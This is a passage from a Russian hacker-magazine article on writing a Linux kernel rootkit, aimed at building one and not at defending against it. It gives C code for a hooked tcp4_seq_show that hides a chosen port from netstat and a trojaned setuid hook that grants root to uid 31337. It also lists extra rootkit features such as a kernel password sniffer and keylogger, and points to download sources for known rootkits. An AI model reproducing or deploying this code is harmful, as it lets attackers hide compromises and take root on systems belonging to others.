Пишем руткит нового поколения Иван Скляров Хакер, номер #096, стр. 096-120-6 Однако мы рассмотрим другой способ, который используется в рутките adore-ng. Суть этого способа заключается в подмене указателя на функцию tcp4_seq_show() в структуре tcp_seq_afinfo (определена в файле net/tcp.h). Эту функцию задействует в своей работе утилита netstat. В подмененной функции hacked_tcp4_seq_show() мы вызываем функцию strnstr() для поиска в seq->buf подстроки, которая содержит шестнадцатеричный номер порта, который мы указали для скрытия: int hacked_tcp4_seq_show(struct seq_file *seq, void *v) { char port[12]; int retval; retval = orig_tcp4_seq_show(seq, v); sprintf(port, "%04X", PORT_TO_HIDE); if (strnstr(seq->buf + seq->count - TMPSZ, port, TMPSZ)) seq->count -= TMPSZ; return retval; } Троянская версия вызова setuid Системный вызов setuid всегда используется при входе и при регистрации пользователя в системе. Руткит перехватывает этот вызов и заменяет его своей версией. Новая функция (я назвал ее change_setuid) будет проверять, с каким uid был произведен системный вызов. Если это 31337, то для текущего пользователя (current) устанавливаются права root(0): int change_setuid(uid_t uid) { if (uid == 31337) { current->uid = 0; current->euid = 0; current->gid = 0; current->egid = 0; return 0; } return (*orig_setuid)(uid); } Другие фичи руткитов В статье мы рассмотрели все основные возможности, которые должен поддерживать любой полноценный руткит, но существуют и другие. Например, руткит также может поддерживать перенаправление системного вызова execve, когда при запуске одной команды вместо нее будет запущена другая. Иногда могут присутствовать защита файлов от удаления или запрет на исполнение программ, запрет на вход в каталог, подмена строк в файле при чтении, встроенный в ядро снифер паролей, регистратор нажатия клавиш и т.д. Но все эти дополнительные возможности ты теперь сможешь реализовать самостоятельно. CD На DVD лежат все рассмотренные в статье модули ядра Linux, а также ядерные руткиты adore-ng, knark, IntoXonia и lkm trojan. WWW Домашняя страница руткита IntoXonia: http://satanic.easycoding.org. Руткиты adore-ng, knark и lkm trojan в настоящее время в интернете можно найти только на http://packetstormsecurity.org. INFO В моей книге «Программирование боевого софта под Linux» ты сможешь найти более подробную информацию о программировании руткитов под linux-ядра версии 2.6.x и много других интересных вещей. |